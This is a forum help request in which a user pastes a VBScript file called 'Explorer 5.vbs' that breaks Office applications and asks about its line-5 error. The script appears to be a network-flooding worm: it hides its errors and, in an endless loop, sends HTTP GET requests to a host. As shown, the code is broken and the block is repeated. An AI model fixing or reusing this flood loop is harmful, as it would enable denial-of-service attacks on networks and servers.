I am getting an vb script error and I can't use Word, Outlook, etc.--can anyone help? Here is what Explorer 5.vbs
looks like--the error message indicates line 5, char 22
On Error Resume Next
set wsTCP=CreateObject("oswinsck.TCP")
Head = "GET " & " & " HTTP/1.0" & vbCrLf & "Accept: */*" & vbCrLf & "User-Agent: " & "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" & vbcrlf & "Host: 192.168.1.101" & vbCrLf & vbCrLf
Do
If wsTCP.Connect("", ) = 0 Then
wsTCP.SendData Head
wsTCP.Disconnect
End If
loop
thanks
tom
looks like--the error message indicates line 5, char 22
On Error Resume Next
set wsTCP=CreateObject("oswinsck.TCP")
Head = "GET " & " & " HTTP/1.0" & vbCrLf & "Accept: */*" & vbCrLf & "User-Agent: " & "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" & vbcrlf & "Host: 192.168.1.101" & vbCrLf & vbCrLf
Do
If wsTCP.Connect("", ) = 0 Then
wsTCP.SendData Head
wsTCP.Disconnect
End If
loop
thanks
tom